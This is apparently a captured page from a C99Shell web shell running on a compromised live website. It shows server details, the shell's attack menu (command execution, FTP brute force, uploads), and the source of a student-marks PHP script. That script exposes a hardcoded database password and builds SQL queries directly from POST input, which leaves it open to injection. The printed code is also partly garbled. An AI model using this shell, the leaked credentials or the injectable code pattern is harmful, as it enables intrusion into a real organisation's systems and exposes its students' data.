!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/branch2/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     marksadd.php (3.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('session.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ITCE BRANCH CONTROL PANEL</title>
<script src="SpryAssets/SpryMenuBar.js" type="text/javascript"></script>
<link href="SpryAssets/SpryMenuBarHorizontal.css" rel="stylesheet" type="text/css" />
<style type="text/css">
a:link {
    text-decoration: none;
}
a:visited {
    text-decoration: none;
}
a:hover {
    text-decoration: none;
}
a:active {
    text-decoration: none;
}
body {
    background-color: #CCC;
}
</style>
</head>
<center>
<body>
<table width="100%" border="0" bgcolor="#FFFFFF">
  <tr>
    <td > <?php include('header.php'); ?></td>
    
  </tr>
  <tr>
    <td colspan="2"><table width="100%" border="0">
      <tr>
        <td colspan="3" bgcolor="#CCCCCC"> <?php include('menubar.php'); ?></td>
      </tr>
      <tr>
        <td colspan="3" bgcolor="#CCCCCC"> <?php include('sessisionbar.php'); ?></td>
      </tr>
    </table>
    
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center">
  <?php
$con
=mysqli_connect("localhost",'itce_user','rb!itc838',"itce_data");
 
// Check connection
 
if (mysqli_connect_errno()) {
   echo 
"Failed to connect to MySQL: " mysqli_connect_error();
 }


$sql "INSERT INTO marks (subject_name,subject_total_marks,subject_obtained_marks,subject_exam_name,student_certificate_no)
      
             VALUES ('
$_POST[studentname]','$_POST[total_marks]','$_POST[obtained_marks]','$_POST[course_content]','$_POST[certificateno]')";

if (!
mysqli_query($con,$sql)) {
  die(
'Error: ' mysqli_error($con));
}


mysqli_close($con);

 
?>   
 <?php
$certino
=$_POST[certificateno];
$link mysqli_connect("localhost",'itce_user','rb!itc838',"itce_data");
 
// Check connection
if($link === false){
    die(
"ERROR: Could not connect. " mysqli_connect_error());
}
 
// Attempt select query execution
$sql "select * from marks WHERE student_certificate_no='$certino'";
if(
$result mysqli_query($link$sql))
{
    if(
mysqli_num_rows($result) > 0)
    {
       echo 
"<table width=\"1030\" border=\"1\"   bgcolor=\"yellow\" style='table-layout:fixed' class='w3-table w3-bordered w3-striped w3-border w3-hoverable'>\n>\n"
echo 
"  <tr>\n"
echo 
"    <td align='left'>SERIAL</td>\n"
echo 
"    <td align='left'>CERTIFICATE NO</td>\n";
echo 
"    <td align='left'>COURSE NAME</td>\n";
echo 
"    <td align='left'>Total Marks</td>\n";
echo 
"    <td align='left'>Obtained Marks</td>\n";
echo 
"    <td align='left'>STUDENT NAME</td>\n";

echo 
"    <td align='left'>DELETE</td>\n";
echo 
"  </tr>\n"
        while(
$row mysqli_fetch_array($result))
        {
       
$sr=$sr+1;
$photo="<img border='5' width='100%' height='100' src=http://itce.co.in/branch/upload/".$row['photo'] .">";
 
echo 
"  <tr>\n"
echo 
"    <td  align='left'><b>$sr</b></td>\n"
echo 
"    <td  align='left'>$row[student_certificate_no]</td>\n";
echo 
"    <td  align='left'>$row[subject_exam_name]</td>\n";
echo 
"    <td align='left'>$row[subject_total_marks]</td>\n";
echo 
"    <td align='left'>$row[subject_obtained_marks]</td>\n";
echo 
"    <td align='left'>$row[subject_name]</td>\n";
echo 
"    <td align='left'><a href='delete_marks.php?ID=" .$row[ID]. "'>delete</a></td>\n";
echo 
"  </tr>\n";



  
$count++ ;  
       
        }
        echo 
"</table>";
        
// Free result set
        
mysqli_free_result($result);
    } else{
        echo 
"Record Not found";
    }
} else{
    echo 
"ERROR: Could not able to execute $sql. " mysqli_error($link);
}
  
$certificatnonew=$certificatnonew+1;
// Close connection
mysqli_close($link);
?>  
     <hr><br>
    <a href="obtained_marks.php">GO BACK</a>
     </td>
  </tr>
  <tr>
    <td colspan="2" bgcolor="#CCCCCC">
     <?php include('footer.php'); ?></td>
  </tr>
</table>

</body></center>
</html>






:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0014 ]--